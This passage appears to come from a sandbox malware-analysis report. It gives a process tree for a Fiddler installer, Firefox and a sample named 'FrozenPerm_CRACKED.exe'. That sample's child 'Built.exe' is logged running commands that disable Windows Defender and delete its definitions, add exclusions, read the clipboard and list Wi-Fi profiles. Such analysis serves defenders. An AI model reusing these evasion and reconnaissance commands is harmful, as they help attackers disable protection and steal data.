PID 3820 wrote to memory of 3620	3820	FiddlerSetup.exe	78
PID 3820 wrote to memory of 3620	3820	FiddlerSetup.exe	78
PID 3820 wrote to memory of 1360	3820	FiddlerSetup.exe	80
PID 3820 wrote to memory of 1360	3820	FiddlerSetup.exe	80
PID 3820 wrote to memory of 1360	3820	FiddlerSetup.exe	80
PID 3820 wrote to memory of 1744	3820	FiddlerSetup.exe	82
PID 3820 wrote to memory of 1744	3820	FiddlerSetup.exe	82
PID 3820 wrote to memory of 4436	3820	FiddlerSetup.exe	83
PID 3820 wrote to memory of 4436	3820	FiddlerSetup.exe	83
PID 3820 wrote to memory of 1168	3820	FiddlerSetup.exe	86
PID 3820 wrote to memory of 1168	3820	FiddlerSetup.exe	86
PID 3820 wrote to memory of 1168	3820	FiddlerSetup.exe	86
PID 3820 wrote to memory of 3716	3820	FiddlerSetup.exe	92
PID 3820 wrote to memory of 3716	3820	FiddlerSetup.exe	92
PID 3716 wrote to memory of 1196	3716	msedge.exe	95
PID 3716 wrote to memory of 1196	3716	msedge.exe	95
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4560	3716	msedge.exe	99
PID 3716 wrote to memory of 4952	3716	msedge.exe	100
PID 3716 wrote to memory of 4952	3716	msedge.exe	100
PID 3716 wrote to memory of 1476	3716	msedge.exe	101
PID 3716 wrote to memory of 1476	3716	msedge.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4692	attrib.exe
5268	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3664
- C:\Users\Admin\AppData\Local\Temp\virus\FiddlerSetup.5.0.20245.10105-latest.exe
  "C:\Users\Admin\AppData\Local\Temp\virus\FiddlerSetup.5.0.20245.10105-latest.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Users\Admin\AppData\Local\Temp\nsr97CC.tmp\FiddlerSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\nsr97CC.tmp\FiddlerSetup.exe" /D=
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3820
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall delete rule name="FiddlerProxy"
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:3620
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name="FiddlerProxy" program="C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe" action=allow profile=any dir=in edge=deferuser protocol=tcp description="Permit inbound connections to Fiddler"
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:1360
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" install "C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe"
      4⤵
      PID:1744
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1f4 -InterruptEvent 0 -NGENProcess 1e4 -Pipe 1f0 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        
        PID:3136
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 278 -InterruptEvent 0 -NGENProcess 26c -Pipe 274 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        
        PID:1072
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 0 -NGENProcess 288 -Pipe 2a0 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:1608
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 0 -NGENProcess 2bc -Pipe 270 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:3996
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 26c -InterruptEvent 0 -NGENProcess 2d4 -Pipe 288 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        
        PID:3980
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 2f0 -Pipe 2e8 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:2780
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 300 -Pipe 29c -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:2548
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2d4 -Pipe 2dc -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:4068
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 27c -InterruptEvent 0 -NGENProcess 2bc -Pipe 278 -Comment "NGen Worker Process"
        5⤵
        Drops file in Windows directory
        
        PID:332
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 27c -Pipe 2d4 -Comment "NGen Worker Process"
        5⤵
        Drops file in Windows directory
        
        PID:1664
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 290 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 2f4 -Comment "NGen Worker Process"
        5⤵
        Drops file in Windows directory
        
        PID:3376
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 0 -NGENProcess 290 -Pipe 27c -Comment "NGen Worker Process"
        5⤵
        Drops file in Windows directory
        
        PID:3128
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" install "C:\Users\Admin\AppData\Local\Programs\Fiddler\EnableLoopback.exe"
      4⤵
      PID:4436
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1f4 -InterruptEvent 0 -NGENProcess 1f0 -Pipe 1ec -Comment "NGen Worker Process"
        5⤵
        
        PID:3204
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 298 -InterruptEvent 0 -NGENProcess 1f4 -Pipe 294 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:2032
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 0 -NGENProcess 274 -Pipe 27c -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:4928
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 304 -InterruptEvent 0 -NGENProcess 2f8 -Pipe 300 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:1948
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2ec -Pipe 2f0 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:2400
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 284 -Pipe 2e8 -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:1644
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2cc -Comment "NGen Worker Process"
        5⤵
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:1880
  - - C:\Users\Admin\AppData\Local\Programs\Fiddler\SetupHelper
      "C:\Users\Admin\AppData\Local\Programs\Fiddler\SetupHelper" /a "C:\Users\Admin\AppData\Local\Programs\Fiddler"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://fiddler2.com/r/?Fiddler2FirstRun
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3716
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x144,0x148,0x14c,0x120,0x150,0x7ffb224d46f8,0x7ffb224d4708,0x7ffb224d4718
        5⤵
        
        PID:1196
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,7435192718538383781,13488135390204139510,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
        5⤵
        
        PID:4560
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,7435192718538383781,13488135390204139510,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4952
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,7435192718538383781,13488135390204139510,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2928 /prefetch:8
        5⤵
        
        PID:1476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7435192718538383781,13488135390204139510,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
        5⤵
        
        PID:3628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7435192718538383781,13488135390204139510,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
        5⤵
        
        PID:2688
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7435192718538383781,13488135390204139510,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4776 /prefetch:1
        5⤵
        
        PID:2552
- C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe
  "C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:1700
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:860
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2004 -parentBuildID 20240401114208 -prefsHandle 1932 -prefMapHandle 1924 -prefsLen 23839 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {edd72a21-af16-4847-860b-47e2a63462f1} 860 "\\.\pipe\gecko-crash-server-pipe.860" gpu
      4⤵
      PID:1440
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2412 -parentBuildID 20240401114208 -prefsHandle 2404 -prefMapHandle 2400 -prefsLen 23717 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {60e58c3d-8ed2-4f6f-96e0-563a247a89ea} 860 "\\.\pipe\gecko-crash-server-pipe.860" socket
      4⤵
      Checks processor information in registry
      PID:4432
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2988 -childID 1 -isForBrowser -prefsHandle 1556 -prefMapHandle 1568 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {053e7821-c3c1-43ef-851b-04bfa9d225d7} 860 "\\.\pipe\gecko-crash-server-pipe.860" tab
      4⤵
      PID:2488
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2752 -childID 2 -isForBrowser -prefsHandle 3924 -prefMapHandle 3920 -prefsLen 29091 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {863e65ba-3274-4e6b-b44b-da0d2b697c91} 860 "\\.\pipe\gecko-crash-server-pipe.860" tab
      4⤵
      PID:996
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4552 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4488 -prefMapHandle 4560 -prefsLen 29091 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7e6dfbd-7a53-4153-ad27-286bef95108e} 860 "\\.\pipe\gecko-crash-server-pipe.860" utility
      4⤵
      Checks processor information in registry
      PID:5644
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5004 -childID 3 -isForBrowser -prefsHandle 4996 -prefMapHandle 4988 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {704d4205-a58c-4bf7-9eba-8372533042e2} 860 "\\.\pipe\gecko-crash-server-pipe.860" tab
      4⤵
      PID:6112
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5140 -childID 4 -isForBrowser -prefsHandle 5148 -prefMapHandle 5152 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {18f0cb92-685d-4da0-a123-111e6d988496} 860 "\\.\pipe\gecko-crash-server-pipe.860" tab
      4⤵
      PID:6124
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5228 -childID 5 -isForBrowser -prefsHandle 5320 -prefMapHandle 5324 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {755e36e9-252f-4579-9457-6ceb7b4d1407} 860 "\\.\pipe\gecko-crash-server-pipe.860" tab
      4⤵
      PID:6136
- C:\Users\Admin\AppData\Local\Temp\virus\FrozenPerm_CRACKED.exe
  "C:\Users\Admin\AppData\Local\Temp\virus\FrozenPerm_CRACKED.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5448
- - C:\Users\Admin\AppData\Roaming\Built.exe
    "C:\Users\Admin\AppData\Roaming\Built.exe"
    3⤵
    - Executes dropped EXE
    PID:5516
  - - C:\Users\Admin\AppData\Roaming\Built.exe
      "C:\Users\Admin\AppData\Roaming\Built.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Loads dropped DLL
      PID:5604
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Built.exe'"
        5⤵
        
        PID:6140
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Built.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        
        PID:5288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5908
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        6⤵
        Deletes Windows Defender Definitions
        
        PID:5180
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:5148
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5920
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:4440
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1516
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        5⤵
        
        PID:520
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        6⤵
        
        PID:4144
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
        5⤵
        
        PID:1108
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        6⤵
        
        PID:3376
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:4840
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        Suspicious behavior: EnumeratesProcesses
        
        PID:4908
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2856"
        5⤵
        
        PID:1664
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2856
        6⤵
        Kills process with taskkill
        
        PID:5112
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:2740
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        Suspicious behavior: EnumeratesProcesses
        
        PID:4388
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎‌.scr'"
        5⤵
        
        PID:116
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎‌.scr'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        
        PID:5368
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4608
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5552
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4808
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5752
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        
        PID:5824
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        
        PID:5792
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:5840
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Clipboard Data
        Loads dropped DLL
        
        PID:5616
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:5676
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:3532
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5460
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:2780
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6128
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5492
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:3208
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:3024
    - - C:\Windows\system32\cmd.exe
        
